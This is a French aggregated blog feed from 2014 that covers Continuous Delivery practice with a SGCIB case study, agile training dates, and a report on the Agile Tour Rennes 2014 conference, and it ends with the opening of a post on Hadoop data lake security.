Cette automatisation permet d’amĂ©liorer grandement la qualitĂ© du logiciel produit. L’automatisation des tests permet de fournir un retour rapide aux dĂ©veloppeurs afin de dĂ©tecter au plus tĂŽt une anomalie et, donc, de la corriger sans avoir Ă  attendre un dĂ©ploiement dans les environnements de recette ou – pire – de production. Plus une anomalie est dĂ©tectĂ©e tĂŽt, moins elle coĂ»te cher Ă  corriger.

Cette automatisation assure Ă©galement une plus grande reproductibilitĂ© du systĂšme. Il est ainsi possible de recrĂ©er en quelques minutes et de maniĂšre automatique un environnement semblable Ă  la production afin de tester une anomalie, une rĂ©gression de performances ou une nouvelle fonctionnalitĂ©. Il est mĂȘme possible de lancer plusieurs environnements identiques afin d’explorer diffĂ©rentes pistes en parallĂšle (A/B testing).

L’utilisation d’une procĂ©dure de dĂ©ploiement automatique commune Ă  tous les environnements (du dĂ©veloppement Ă  la production) permet aussi de s’assurer que cette procĂ©dure est Ă  jour, maintenue et utilisable. Les problĂšmes d’infrastructure ne sont ainsi plus rencontrĂ©s en phase de prĂ©-production mais dĂšs l’étape de dĂ©veloppement, ce qui facilite grandement leur prise en compte rapide par l’équipe projet.

En plus d’amĂ©liorer la qualitĂ© du livrable par l’automatisation des tests et des dĂ©ploiements, le Continuous Delivery amĂ©liore Ă©galement la qualitĂ© du produit via l’augmentation des cadences des mises en production.

Mettre en production une application quotidiennement implique une diminution du nombre de fonctionnalitĂ©s par livraison. En cas de problĂšme, le MTTR (« Mean Time To Recover », temps moyen de remise en route) est donc fortement rĂ©duit par l’identification rapide de la fonctionnalitĂ© dĂ©faillante. Il n’est plus nĂ©cessaire de passer des heures Ă  chercher ce qui a Ă©tĂ© modifiĂ© par la livraison courante, les suspects se comptant sur les doigts d’une main.

Un développement orienté business

Dans un monde oĂč tout Ă©volue de plus en plus rapidement, il est vital pour une entreprise de rĂ©pondre au plus vite aux besoins de ses clients. Il en va de mĂȘme pour un systĂšme informatique.

Le Continuous Delivery, en permettant des livraisons trĂšs rĂ©guliĂšres, rĂ©pond clairement Ă  cette problĂ©matique en rĂ©duisant le « Time to Market » d’un nouveau service. Il n’est plus nĂ©cessaire d’attendre 6 mois pour obtenir une nouvelle fonctionnalitĂ© en production mais uniquement quelques semaines : le temps du dĂ©veloppement, des tests (automatiques) et du dĂ©ploiement (automatique) de la fonctionnalitĂ©.

Il est ainsi possible de valider rapidement si un nouveau service plaßt aux clients et le cas échéant le faire évoluer tout aussi rapidement.

C’est Ă©galement une des bases du Continuous Delivery : fournir rapidement des retours sur une nouvelle fonctionnalitĂ© via un monitoring adaptĂ©.

Enfin, pouvoir mettre une Ă©volution en production en quelques heures Ă©vite le fameux « effet tunnel » oĂč une fonctionnalitĂ©, voire mĂȘme tout un projet, est obsolĂšte avant mĂȘme sa mise Ă  disposition aux clients.

Une plus grande coopération des équipes

De par l’unicitĂ© nĂ©cessaire des procĂ©dures d’installation sur les environnements de dĂ©veloppement et de production, le « Continuous Delivery » implique naturellement une plus forte collaboration entre les Ă©quipes projets et opĂ©rationnelles.

La crĂ©ation de synergies entre ces Ă©quipes est le but du mouvement « DevOps » et fait partie intĂ©grante du Continuous Delivery. Ainsi les pertes de production dues aux conflits entre la vision des Ă©quipes de dĂ©veloppement et celle des Ă©quipes d’opĂ©rations, ne seront qu’un mauvais souvenir.

Cas client – SociĂ©tĂ© GĂ©nĂ©rale CIB

Mise en place d’un pipeline de dĂ©ploiement continu sur le projet SPark Ă  la SGCIB

Contexte

Au sein de la SGCIB, le projet SPark a l’ambition de devenir l’unique rĂ©fĂ©rentiel de la banque pour la gestion complĂšte du cycle de vie des produits structurĂ©s.

Le dĂ©veloppement a dĂ©marrĂ© en octobre 2011 en mĂ©thodes agiles et l’application est en production depuis juin 2012.

Enjeux business

Être capable de livrer les nouvelles fonctionnalitĂ©s de l’application au plus tĂŽt, en calquant le rythme de livraison sur celui des sprints (2 semaines).

Solution

Mise en place d’un processus de livraison continue s’appuyant sur Git, Jenkins et XL Deploy (anciennement Deployit).

 

DĂ©ploiement pipeline du projet SPark

Points forts de la solution

 

  • Livrables standardisĂ©s quel que soit l’environnement.
  • Tests de non rĂ©gression / mise en place de Behaviour Driven Development (BDD).
  • Transformation en un systĂšme Ă  flux tendus (juste-Ă -temps).
  • Les livraisons sont des non-Ă©vĂ©nements (push-button).
Chiffres clés
  • Plus de 3000 dĂ©ploiements en 1 an et demi, tous environnements confondus (dĂ©veloppement, test, recette et production).
  • 10 dĂ©ploiements / jour.

La transformation d’un projet vers le Continuous Delivery apporte des gains non nĂ©gligeables et mesurables. Le fait de pouvoir livrer rapidement et rĂ©guliĂšrement des produits de grande qualitĂ© est un avantage concurrentiel important. De plus, impliquer les diffĂ©rentes Ă©quipes au sein d’un mĂȘme projet est motivant et crĂ©ateur de liens.

Comment mettre en place le Continuous Delivery ?

Comme nous l’avons vu, les raisons d’instaurer le Continuous Delivery sont nombreuses. NĂ©anmoins, sa mise en place n’est pas toujours aisĂ©e.

Afin de réussir cette transformation, il convient de respecter quatre rÚgles.

 RÚgle n°1 : Eviter les approches « Big Bang »

Il est Ă©vident que les entreprises ne peuvent – et ne doivent – pas essayer d’adopter une stratĂ©gie de Continuous Delivery pour toutes leurs divisions d’un seul coup.

Le plus simple consiste Ă  commencer par un projet et construire ensuite sa Value Stream Map ou VSM afin d’identifier les diffĂ©rentes Ă©tapes nĂ©cessaires Ă  une mise en production et ainsi repĂ©rer les premiers points de blocage Ă  amĂ©liorer et automatiser. La VSM est un outil provenant du Lean qui consiste Ă  visualiser toutes les Ă©tapes de la chaĂźne de valeur d’un projet, depuis la dĂ©finition d’un nouveau besoin jusqu’à sa disponibilitĂ© auprĂšs des utilisateurs sur l’environnement de production. Une fois rĂ©alisĂ©e, elle permet de mettre en Ă©vidence les tĂąches Ă  forte valeur ajoutĂ©e et d’identifier celles qui sont le plus coĂ»teuses.

 

 

Les tĂąches Ă  faible valeur et dont le coĂ»t est le plus important sont celles auxquelles il convient de porter un maximum d’attention. Qu’il s’agisse de la rĂ©alisation des tests, du build de l’application ou de son dĂ©ploiement, l’amĂ©lioration de chacune de ces tĂąches permettra de fluidifier le processus de livraison. Une automatisation de ces Ă©tapes est gĂ©nĂ©ralement la solution privilĂ©giĂ©e.

RÚgle n°2 : Mettre en place un pipeline de déploiement

Plusieurs bonnes pratiques sont Ă  suivre lorsque l’on souhaite mettre en place un pipeline de dĂ©ploiement efficace :

  • Construisez votre application une seule fois et faites de la promotion de build d’un environnement Ă  l’autre. Cela implique que votre application puisse ĂȘtre configurĂ©e par environnement et que vous livriez en production le mĂȘme binaire ayant Ă©té testĂ© en recette, validation mĂ©tier, etc.
  • DĂ©ployez de la mĂȘme maniĂšre sur chacun de vos environnements, que ce soit sur le poste de travail du dĂ©veloppeur, sur un environnement de test ou en production.
  • ExĂ©cutez systĂ©matiquement un « smoke test » lors de chaque dĂ©ploiement de votre application afin de vĂ©rifier que celle-ci est bien disponible. Ce « smoke test » doit rester simple (par exemple, vĂ©rifier la disponibilitĂ© de votre page d’accueil) afin de pouvoir ĂȘtre rapide, systĂ©matique et maintenable dans le temps.
  • Essayez de dĂ©ployer sur des environnements similaires Ă  la production. Il est conseillĂ© de maintenir les environnements simples et d’automatiser leur provisionning.
  • Chaque changement doit parcourir l’ensemble du pipeline afin que les erreurs soient dĂ©tectĂ©es au plus tĂŽt.
  • En cas d’échec sur l’une des étapes, la chaĂźne doit ĂȘtre interrompue et la prioritĂ© de tous doit devenir la correction du problĂšme. Cela est indispensable pour maintenir un processus de dĂ©ploiement rapide, rĂ©pĂ©table et sĂ»r.
RÚgle n°3 : Faire coopérer vos équipes

La coopĂ©ration des diffĂ©rentes Ă©quipes est une condition sine qua none Ă  la rĂ©ussite du Continuous Delivery. Afin d’amĂ©liorer cette culture de la collaboration, cinq actions peuvent ĂȘtre prises :

  • Impliquer les Ops dans la constitution du Product Backlog et cela, dĂšs le dĂ©but du projet.
  • Changer la « Definition of Done » des dĂ©veloppeurs pour inclure qu’une tĂąche est terminĂ©e lorsque celle-ci est activĂ©e en production avec succĂšs.
  • Mettre en place des rĂ©trospectives entre les Devs et les Ops suite aux mises en production.
  • AccroĂźtre la transparence entre les Ă©quipes en partageant le monitoring et l’alerting.
RÚgle n°4 : Mettre en place une stratégie de livraison

Maintenant que votre projet s’appuie sur un pipeline de dĂ©ploiement continu, vos Ă©quipes sont capables de livrer chaque modification de votre application en production. Or, le dĂ©veloppement des nouvelles fonctionnalitĂ©s peut parfois prendre du temps ou ĂȘtre liĂ© Ă  des d’applications tierces dont le cycle de livraison n’est pas calquĂ© sur le vĂŽtre.

Dans ces cas de figure, il est possible de mettre en place un mĂ©canisme appelĂ© « Toggle Feature » qui consiste Ă  activer ou non une fonctionnalitĂ© de votre application indĂ©pendamment de votre cycle de livraison. Sa mise en place permettra de maintenir une branche unique de dĂ©veloppement (Trunk Based Development) et d’intĂ©grer au plus tĂŽt l’ensemble des fonctionnalitĂ©s de votre application, quelle que soit la durĂ©e de leur dĂ©veloppement.

Afin de mesurer les apports et les manques d’une nouvelle version de votre application, il est Ă©galement possible d’instaurer un mĂ©canisme d’A/B testing, dont le principe consiste Ă  faire cohabiter en production plusieurs versions de votre application. GrĂące Ă  la mesure des performances et du comportement de vos utilisateurs sur la version la plus rĂ©cente de votre application, vous serez capable d’évaluer les impacts de ces nouvelles fonctionnalitĂ©s.

Les bonnes pratiques citĂ©es ci-dessus vous aideront Ă  rĂ©ussir la transformation vers le Continuous Delivery. Un ensemble d’outils adaptĂ©s constituera le second point d’attention afin d’appliquer ces principes tout au long du projet, du dĂ©veloppement Ă  la production.

Avec quels outils mettre en place le Continuous Delivery ?

La premiÚre étape de tout projet est la mise en place des outils de développement tels que :

  • Un dĂ©pĂŽt de code versionnĂ© : Git ou Mercurial feront le travail sans difficultĂ©.
  • Un serveur d’intĂ©gration continue : Jenkins, de par sa simplicitĂ© d’usage et ses nombreux plugins, est trĂšs populaire. On peut Ă©galement citer TeamCity ou Bamboo.
  • Un dĂ©pĂŽt d’artefacts : si le projet produit des artefacts Java (WAR par exemple) alors un dĂ©pĂŽt tel que Nexus ou Archiva est Ă  conseiller. Dans le cas contraire, il faut produire des paquets systĂšmes adaptĂ©s Ă  la distribution (.deb ou .rpm) et les distribuer via les dĂ©pĂŽts ad-hoc.

Une fois les livrables produits, il est important de pouvoir les installer sur des environnements provisionnĂ©s automatiquement. Cela implique d’avoir une couche de virtualisation permettant de scripter le dĂ©marrage de nouvelles ressources automatiquement. On peut citer pour cette partie des outils tels que VMWare Cloud Template ou AWS CloudFormation.

AprĂšs le provisionnement de l’environnement, il faut gĂ©rer sa configuration. Des outils permettent de rĂ©aliser cette Ă©tape de maniĂšre automatique et reproductible. Ansible, Chef, Puppet ou Salt sont utilisĂ©s quotidiennement par les grands acteurs du Web.

Une fois l’environnement configurĂ©, il reste encore Ă  y dĂ©ployer les livrables (idĂ©alement automatiquement). Si le format choisi pour les livrables est le paquet systĂšme (.deb ou .rpm par exemple) alors les outils prĂ©sentĂ©s dans le paragraphe prĂ©cĂ©dent pourront sans aucune difficultĂ© les dĂ©ployer. NĂ©anmoins, il faudra gĂ©rer au sein de ces paquets des opĂ©rations telles que les retours arriĂšre en cas de problĂšme et la gestion de configuration par environnement cible. Pour cela, il est possible d’utiliser une solution comme XL Deploy (de XebiaLabs) qui permet de dĂ©ployer et configurer les diffĂ©rentes versions de vos applications sur vos diffĂ©rents environnements et de gĂ©rer toute la traçabilitĂ© associĂ©e.

Ces outils permettent de simplifier la mise en place du Continuous Delivery en offrant l’ensemble des fonctionnalitĂ©s nĂ©cessaires du dĂ©veloppement Ă  la mise en production des livrables en passant par l’automatisation complĂšte de la crĂ©ation de l’infrastructure.

Le Continuous Delivery n’est pas une utopie mais un mode de fonctionnement d’ores et dĂ©jĂ  mis en place par certaines organisations IT (grands comptes ou entreprises de taille plus modeste).

Nous insistons sur le fait que la démarche et les concepts présentés dans cet article ne constituent pas une recette miracle et que le changement présente toujours des difficultés. En revanche, les gains constatés sont à la hauteur des espérances : une accélération du time-to-market et des applications de plus grande qualité notamment.

Alors si vous aussi vous souhaitez livrer en une heure au lieu d’un mois n’hĂ©sitez plus ! Et rappelez-vous qu’une application n’apporte un bĂ©nĂ©fice mĂ©tier que lorsqu’elle est en production.

Catégories: Blog Société

[SQL Server] Comment utiliser le systùme de file d’attente de SQL Server Service Broker

Comme l’a montrĂ© cet article, SQL Service Broker permet de notifier nos applications de changements dans notre base de donnĂ©es. Parmi les diffĂ©rentes mĂ©thodologies Ă  notre disposition, il existe un systĂšme de file d’attente qui va nous permettre d’empiler et...
Catégories: Blog Société

Nouveau : la Newsletter Être Agile

Être Agile - Thierry Cros - dim, 10/19/2014 - 15:34

Une Newsletter "Être Agile" est maintenant publiĂ©e rĂ©guliĂšrement.
Plus d'infos et souscription ici

Catégories: Blog Individuel

Formations novembre-décembre 2014

Être Agile - Thierry Cros - sam, 10/18/2014 - 21:22
DSI : impact de l'agilitĂ© :: Paris :: 13 14 Novembre 2014

Dans cette formation nous travaillons Ă  la fois l'intĂ©rĂȘt d'une transformation agile et sa conduite de changement. Comme toujours cette formation est constituĂ©e de nombreuses mises en pratique, en particulier sur la posture du Manager agile.
Cette formation s'adresse aux DSI et plus généralement toute personne concernée par une transformation d'une DSI.
Formation en partenariat avec Orsys

ManagerCoach agile :: Toulouse :: 4 5 DĂ©cembre 2014

Cette formation pourrait s'intituler "Quand le Manager agile marche sa parole".
Cela signifie quelque chose comme
aligner, accorder, sa pensée, sa parole, ses actes.
Sans aller jusqu'Ă  dire que le Manager agile devrait ĂȘtre exemplaire, il s'agit plutĂŽt de cohĂ©rence entre ce qui est dit et fait. En particulier entre ce qui est d'une maniĂšre ou d'une autre demandĂ© aux Ă©quipes et ce que fait le Management.
Ce qui suppose au passage de "laisser le temps au temps" pour vivre ces transformations.
Cette formation est basée sur l'apprentissage concret de

  • savoir-faire agiles : pilotage par la valeur, approche empirique... RĂŽle du Manager
  • savoir-ĂȘtre du ManagerCoach agile : Ă©coute, communication, posture de Coach...


Plus d'infos ici :
Formation ManagerCoach agile

Catégories: Blog Individuel

Retour sur l’Agile Tour Rennes 2014

Agile-Tour-RennesLe 9 octobre, j’Ă©tais Ă  Agile Tour Rennes oĂč j’ai eu l’occasion de prĂ©senter "Le Manifeste Agile e(s)t l’opium du peuple" avec AurĂ©lien Morvant (@AurelienMorvant). Un bon moment et j’en profite pour remercier encore l’audience pour l’accueil qu’elle nous a fait. Pour ceux qui seraient intĂ©ressĂ©s, les slides de la confĂ©rence sont sur slideshare: http://fr.slideshare.net/XebiaFrance/le-manifeste-agile-est-lopium-du-peuple-40063827 et pour un Ă©clairage complĂ©mentaire vous avez toujours l’article que j’avais Ă©crit il y a quelques mois ici: http://blog.xebia.fr/2014/03/28/le-manifeste-agile-est-lopium-du-peuple/

ConférenceEnModeAgile.jpg

Bien sĂ»r, je n’y suis pas allĂ© que pour cela. Comme toujours c’est l’occasion d’assister Ă  des prĂ©sentations, prendre de nouvelles sources d’inspiration et c’est un vrai plaisir. Comme le partage ne devrait pas s’arrĂȘter Ă  ces moments lĂ , j’en profite donc pour vous livrer mon retour sur les quelques confĂ©rences ou ateliers auxquels j’ai pu assister !

20 fois sur le mĂ©tier…

Christophe Thibaut – @ToF_

La keynote d’ouverture de l’Agile Tour Rennes Ă©tait donnĂ©e par Christophe Thibaut sur des thĂ©matiques chĂšres au mouvement du Software Craftsmanship. Les concepts prĂ©sentĂ©s Ă©taient familiers Ă  tous ceux qui ont un peu Ă©tudiĂ© (et pratiquĂ© !) XP. Pair programming, revues de code, tests unitaires, beaucoup d’Ă©lĂ©ments qu’il faut apprendre au travail et mettre en oeuvre sous peine de voir la non-qualitĂ© s’accumuler rapidement. DĂ©tail amusant, alors que Christophe parle de la valeur du test, son Evernote plante et fait quitter le mode prĂ©sentation ! Belle illustration, et preuve s’il en est de l’importance du test. On aurait voulu le faire exprĂšs, on n’aurait pas fait mieux !

Non content de nous faire partager les bonnes pratiques d’ingĂ©nierie, Christophe les illustre aussi de son expĂ©rience, en explique les raisons (et les consĂ©quences de l’absence de leur mise en oeuvre). Il insistera surtout sur la nĂ©cessitĂ© de prendre le temps d’apprendre, de refaire, de partager, mĂȘme si cela peut sembler contre-productif dans des entreprises qui recherchent l’industrialisation. Certes, quelqu’un qui baigne dans l’agilitĂ© tous les jours n’en ressortira peut-ĂȘtre pas avec beaucoup de nouvelles idĂ©es. Pourtant je pense qu’il s’agissait d’une trĂšs bonne keynote d’ouverture. Elle permettait d’ouvrir la journĂ©e en rendant des concepts importants accessibles Ă  tous. La dĂ©couverte de l’agilitĂ© se fait souvent Ă  travers des frameworks (comme Scrum), et oublie parfois les bonnes pratiques logicielles. C’est important de ne pas oublier que sans elles nous n’obtiendrions pas grand chose.

Invitez-vous au mariage du (21Ăšme) siĂšcle

Laurent Sarrazin – @bangalaurent

En dĂ©but d’aprĂšs-midi, Laurent Sarrazin nous a fait le plaisir d’animer la Keynote. Laurent nous a livrĂ© une vision de l’agilitĂ©, que j’ai beaucoup apprĂ©ciĂ©e car elle repose sur des valeurs que je partage.

J’ai particuliĂšrement aimĂ© les rĂ©fĂ©rences Ă  la complexitĂ© et notamment le Darkness Principle, que je ne connaissais pas. RĂ©aliser que face Ă  la complexitĂ© le tout ne peut plus rĂ©sider dans un seul cerveau, c’est un bel argument en faveur de l’auto-organisation ! Laurent nous a prĂ©sentĂ© l’agilitĂ© comme un moyen libĂ©rateur qui permet aux individus d’agir. Son histoire sur le sous-marin du commandant Marquet et Ă  travers celle-ci sur les risques d’un management dirigiste en Ă©tait une belle illustration (cf. le livre "Turn the ship around ! A true story of building leaders by breaking the rules").

AprĂšs nous avoir montrĂ© la nĂ©cessitĂ© d’Ă©voluer et de rendre du pouvoir aux Ă©quipes, Laurent nous a aussi exposĂ© comment le faire dans une vĂ©ritable dĂ©marche de coaching (apprendre Ă  pĂ©cher et ne pas donner un poisson… sauf quand c’est rĂ©ellement nĂ©cessaire pour progresser. Une dĂ©marche qui cherche Ă  donner du sens. La rĂ©fĂ©rence Ă  Simon Sinek et son "Start with why" (http://www.ted.com/talks/simon_sinek_how_great_leaders_inspire_action) est d’ailleurs encore une idĂ©e Ă  laquelle j’adhĂšre sans rĂ©serve.

Laurent n’a pas hĂ©sitĂ© non plus Ă  nous partager sa dĂ©marche de transformation Agile. Comment passer d’un Ă©tat stable Ă  un autre, comment embarquer les gens Ă  l’aide d’innovations games, safaris, foires agiles, katas… Comme il le dit "on pirate une maternelle pour bosser !"  Bravo aussi pour l’utilisation du perfection game au sein de rĂ©ponses Ă  appels d’offres. Impliquer le client pour lui faire exprimer ce qu’il apprĂ©cie de notre proposition et ce qui lui manque pour un 10/10, c’est brillant !

Laurent a l’art de se nourrir dans un pool de connaissances trĂšs hĂ©tĂ©roclites et hĂ©tĂ©rogĂšnes, et il faut s’accrocher pour le suivre. Je dois dire que Romain Couturier qui assurait le scribing de la keynote de Laurent a eu fort Ă  faire ! Pour que ce soit parfait, il aurait peut-ĂȘtre fallu un peu plus de clartĂ© dans les slides. Sans doute fallait-il aussi faire des choix dans les thĂ©matiques abordĂ©es, ce qui aurait permis un dĂ©bit du discours plus posĂ©. Je n’aurais pas Ă©tĂ© contre avoir un peu plus de temps pour assimiler une idĂ©e avant de me retrouver propulsĂ© vers une nouvelle !

Toutefois, au vu des applaudissements de la salle à la fin, on peut dire que le pari était réussi. Il faudra y revenir pour tout ce qui nous a échappé la premiÚre fois !

   

Atelier DEVOPS Mindstorms

AurĂ©lien Morvant – @AurelienMorvant
Nicolas Ledez – @nledez
Sylvain – Revereault – @srevereault

L’atelier DEVOPS Mindstorms fĂ»t l’occasion de jouer avec des Lego dans une approche plus technique que celles vĂ©cues habituellement. Une expĂ©rience intĂ©ressante car elle permet de mener une idĂ©e Ă  exĂ©cution avec l’ensemble de ces composantes : expression du besoin, modĂ©lisation du besoin, rĂ©alisation Ă  travers un matĂ©riel fonctionnel.

Les Ă©quipes Ă©taient rĂ©parties en deux groupes : l’un en charge de la rĂ©alisation d’un robot (Ă  l’aide d’un manuel de construction Lego), l’autre en charge de l’Ă©criture du logiciel de programmation du robot (Ă  l’aide d’un systĂšme visuel de programmation par assemblage de briques fonctionnelles unitaires).

Evidemment l’atelier permet de bien voir des difficultĂ©s classiques que l’on rencontre sur les projets :

  • Imperfection de l’expression du besoin
  • Mauvaises traduction du besoin en logiciel (DEV)
  • DĂ©ficiences techniques de la rĂ©alisation au regard du besoin (OPS)

Plus particuliĂšrement l’accent Ă©tait mis sur les deux derniĂšres problĂ©matiques et la mauvaise adĂ©quation du DEV avec les OPS.

Les robots devaient passer Ă  travers un labyrinthe simplifiĂ©. A la fin de la premiĂšre itĂ©ration, certains robots ne bougeaient pas du tout quand d’autres avançaient en arriĂšre…

Les problĂ©matiques Ă©taient exacerbĂ©es par la division entre DEV et OPS. Division d’autant plus forte que les deux Ă©quipes ne pouvaient pas Ă©changer ou tester le design et le logiciel du robot avant sa "pleine" rĂ©alisation. Si ces barriĂšres au bon fonctionnement d’une Ă©quipe ne se limitent pas au cas des DEV et des OPS, l’exercice est suffisamment technique et complet pour susciter l’intĂ©rĂȘt vers une approche qui permette le dĂ©ploiement continu. Tous les DEV auraient aimĂ© pouvoir tester au fur et Ă  mesure et les OPS auraient certainement pu simplifier leur design s’ils avaient pu Ă©changer avec les DEV. In fine nous aurions tous pu rĂ©pondre plus rapidement et plus efficacement au besoin en travaillant ensemble.

Au delĂ  de cette session, je pense qu’il aurait Ă©tĂ© intĂ©ressant de laisser plus libre cours aux OPS dans la crĂ©ation de leur robot (Ă  l’aide d’un cahier des charges et non d’un manuel Lego qui guide assez efficacement la rĂ©alisation). Nous aurions ainsi pu montrer des diffĂ©rences de design sur la mĂȘme expression de besoin. En introduisant un aspect compĂ©titif entre les Ă©quipes dans le jeu, la pression supplĂ©mentaire aurait encore pu susciter de situations amusantes (et riches d’enseignements).

Par ailleurs le labyrinthe Ă©tait relativement connu dĂšs le dĂ©part ce qui suscitait des stratĂ©gies en rĂ©ponse directe Ă  sa structure. Une expression de besoin plus floue, voire un labyrinthe changĂ© en cours de route auraient lĂ  aussi pu crĂ©er des prises de conscience positives. En travaillant diffĂ©remment avec deux Ă©quipes, l’une Ă  qui l’on fait expĂ©rimenter une approche bullet-proof et l’autre une approche YAGNI (http://fr.wikipedia.org/wiki/YAGNI) et KISS (http://fr.wikipedia.org/wiki/Principe_KISS) on aurait aussi sans doute pu montrer l’intĂ©rĂȘt de ne pas sur-spĂ©cifier pour rĂ©pondre plus rapidement au besoin (et mieux jauger ce qui est rĂ©ellement utile ou non).

Cela dit, dans le cadre relativement court de l’atelier, il Ă©tait difficilement envisageable de mettre en place ces Ă©lĂ©ments. L’expĂ©rience a Ă©tĂ© une rĂ©ussite pour beaucoup et j’ai pu entendre certains dire : c’est dommage que les Mindstorms soient si chers…


   

Jeu : le Village Gaulois

Sacha Lopez – @Sacha2point0
David Lemesle – @dlemesle

Oui encore un jeu avec des Lego, que voulez-vous je suis partial avec ces petites briques et je suis toujours intĂ©ressĂ© par de nouvelles approches. C’est encore, Ă  mon sens, un des moyens les plus efficaces que l’on ait trouvĂ© pour susciter la crĂ©ativitĂ© en entreprise, jouer le rĂŽle d’ice-breaker et expĂ©rimenter rapidement diverses situations que l’on rencontre au sein des projets.

Cet atelier Ă©tait lĂ -aussi assez intĂ©ressant et nous amenait Ă  rĂ©flĂ©chir sur les enjeux du travail en Ă©quipes, de l’expression de besoin et de la collaboration. Les rĂ©gles Ă©taient relativement simples et laissaient une large place Ă  l’improvisation (oĂč Ă  l’auto-organisation).

Nous Ă©tions 3 Ă©quipes en charge de la rĂ©alisation de constructions Lego dont le design Ă©tait transmis par 3 architectes (un par Ă©quipe). Quand les architectes voyaient le design, ils ne pouvaient pas en voir la rĂ©alisation (et vice-versa). Les architectes disposaient de plusieurs design Ă  transmettre aux Ă©quipes exclusivement par oral. Chaque design avait une valeur diffĂ©rente (connue Ă  l’avance par l’architecte) et Ă  la fin du jeu les points remportĂ©s par une Ă©quipe Ă©taient comptabilisĂ©s.

Au delĂ  de cet aspect communication (et de nos mĂ©moires mises Ă  rude Ă©preuve), le jeu Ă©tait aussi intĂ©ressant par les dynamiques inter-Ă©quipes. En effet chaque Ă©quipe disposait d’un lot de piĂšces de couleurs diffĂ©rentes et Ă©videmment certains designs demandaient des piĂšces dont ne disposait pas notre Ă©quipe. Il fallait alors aller voir les autres Ă©quipes pour nĂ©gocier l’Ă©change de piĂšces.
Notre groupe a su adopter une approche relativement collaborative sur cet enjeu mais apparemment dans certains groupes c’est la guerre !

Bien entendu pour rajouter au piquant les instructions des architectes ont Ă©voluĂ© en cours de jeu, mais alors que nous pensions avoir bien maitrisĂ© le sujet nous sommes passĂ©s Ă  cĂŽtĂ© d’un Ă©lĂ©ment de coopĂ©ration inter-Ă©quipes important. En effet les structures qui rapportaient le plus de points, rapidement mises de cĂŽtĂ© par les architectes car trop compliquĂ©es Ă  dĂ©crire, n’Ă©taient en fait que l’assemblage des structures basiques de chaque Ă©quipe !

Et oui, sous pression du temps, avec un enjeu de compétition affiché et des animateurs qui nous laissent volontairement dans le flou, on a les bons ingrédients pour bien apprendre !

   

Contractualisation Agile, replacer la valeur au centre du contrat

Eléonore Varet
SĂ©bastien Delayre @sebdlbc

C’est pour moi, le rendez-vous ratĂ© de cet Agile Tour Rennes. Le sujet Ă©tait intĂ©ressant et c’est vrai que nous avons rĂ©guliĂšrement des questions sur la contractualisation de projets Agiles. Plusieurs aspects expliquent ma dĂ©ception sur ce sujet.

Nous nous sommes tout d’abord un peu perdus dans des explications sur ce qu’est l’agilitĂ©. Cela manquait de clartĂ© mais surtout n’Ă©tait peut-ĂȘtre pas entiĂšrement pertinent dans le contexte d’une discussion autour d’un contrat Agile. On peut en effet supposer que l’audience qui se pose la question de la contractualisation de l’AgilitĂ© (au point d’en voir les enjeux et de vouloir en savoir plus) a dĂ©jĂ  une bonne connaissance des bases. Cette premiĂšre partie a eu un impact certain sur la confĂ©rence et Ă  mi-chemin, nous nous demandions encore ce qui pouvait nous ĂȘtre proposĂ© pour aider Ă  mieux contractualiser les projets Agiles. Malheureusement cela a aussi eu pour effet de compliquer la tenue du timing et nous avons largement dĂ©bordĂ© du cadre imparti, sans grand sentiment de rĂ©vĂ©lation.

Sur le contenu, il s’agissait essentiellement de proposer un mode de contractualisation qui s’appuie sur la valeur acquise.
J’ai trouvĂ© cela dangereux. La valeur acquise est en effet une logique de pilotage financier du projet. Pour plus de dĂ©tails, le plus simple est encore de se rĂ©fĂ©rer Ă  wikipĂ©dia qui explique assez bien le concept : http://fr.wikipedia.org/wiki/Gestion_de_la_valeur_acquise

Il s’agit d’une valeur monĂ©taire et non pas d’une valeur ajoutĂ©e client. Il y a une confusion hasardeuse entre les deux. Or, on le sait, le coĂ»t de rĂ©alisation d’un Ă©lĂ©ment n’a pas de lien avec celui de sa valeur pour le client. Par ailleurs cette notion de valeur acquise Ă©tait aussi prĂ©sentĂ©e comme liĂ©e au "cost of delay" qui mesure plutĂŽt le manque Ă  gagner et est plus utilisĂ© pour la priorisation (notamment en Kanban). LĂ  aussi le mĂ©lange ne facilitait pas la clartĂ© du discours.

Par ailleurs, la prĂ©sentation proposait aussi d’assigner une valeur financiĂšre au Story Point qui permette de dĂ©finir une base de rĂ©munĂ©ration indĂ©pendante du contenu. Si l’idĂ©e de rĂ©compenser le travail Ă  sa valeur est sĂ©duisante, c’est oublier deux choses :

  • Indexer un Ă©lĂ©ment de rĂ©compense sur des Story Points c’est prendre le risque d’une inflation des estimations (qui donne l’illusion d’une augmentation de la productivitĂ©)
  • Un Story Point reprĂ©sente la difficultĂ© relative d’une User Story, pas sa valeur business. Il peut y avoir conflit entre les deux parties, l’une cherchant Ă  dĂ©livrer ce qui reprĂ©sente le plus de difficultĂ©, l’autre ayant intĂ©rĂȘt Ă  obtenir ce qui a le plus de valeur utilisateur.

Bref, si j’ai aimĂ© voir un tel sujet proposĂ© en confĂ©rence, je reste encore sur ma faim. Pour autant, je suis curieux d’une nouvelle version de la prĂ©sentation sur ce sujet, pour une question qui reste encore souvent trop compliquĂ©e.

Pour conclure, on peut dire que l’Agile Tour Rennes 2014 Ă©tait un bon cru. Pour la troisiĂšme annĂ©e consĂ©cutive, il a d’ailleurs fait carton plein et les organisateurs se demandent dĂ©jĂ  comment ils pourraient accueillir plus de monde l’an prochain. L’organisation justement Ă©tait extrĂȘmement investie. Pour avoir vu une partie des coulisses, je peux vous dire qu’ils se sont dĂ©menĂ©s jusqu’au dernier moment pour nous offrir une belle expĂ©rience. Mention spĂ©ciale aux goodies orateurs, les Lego Serious Play. Quand on est fan comme moi, c’est une superbe idĂ©e. Bonne idĂ©e aussi les sous-rires, cette monnaie sous forme de smileys que nous pouvions nous Ă©changer Ă  chaque fois que nous passions un bon moment. A l’arrivĂ©e, le tableau de feedback Ă©tait d’un joli vert et c’Ă©tait mĂ©ritĂ© !

On reviendra !

   

Catégories: Blog Société

Quelles solutions pour sécuriser un Data Lake sous Hadoop ?

AprĂšs la plateforme de batch scalable, le Data Lake, cette notion selon laquelle toutes les donnĂ©es de l’entreprise devraient ĂȘtre dĂ©versĂ©es et stockĂ©es sans discernement dans un entrepĂŽt commun — de prĂ©fĂ©rence un cluster Hadoop — est devenu au cours de l’annĂ©e, un nouvel Ă©lĂ©ment central de la communication des Ă©diteurs autour d’Hadoop.

Stocker de grands volumes de donnĂ©es dans un mĂȘme cluster implique selon les industries, de faire cohabiter des donnĂ©es normales avec des donnĂ©es sensibles (donnĂ©es personnelles, donnĂ©es privĂ©es d’un client Ă  qui on revend son service en marque blanche, 
).

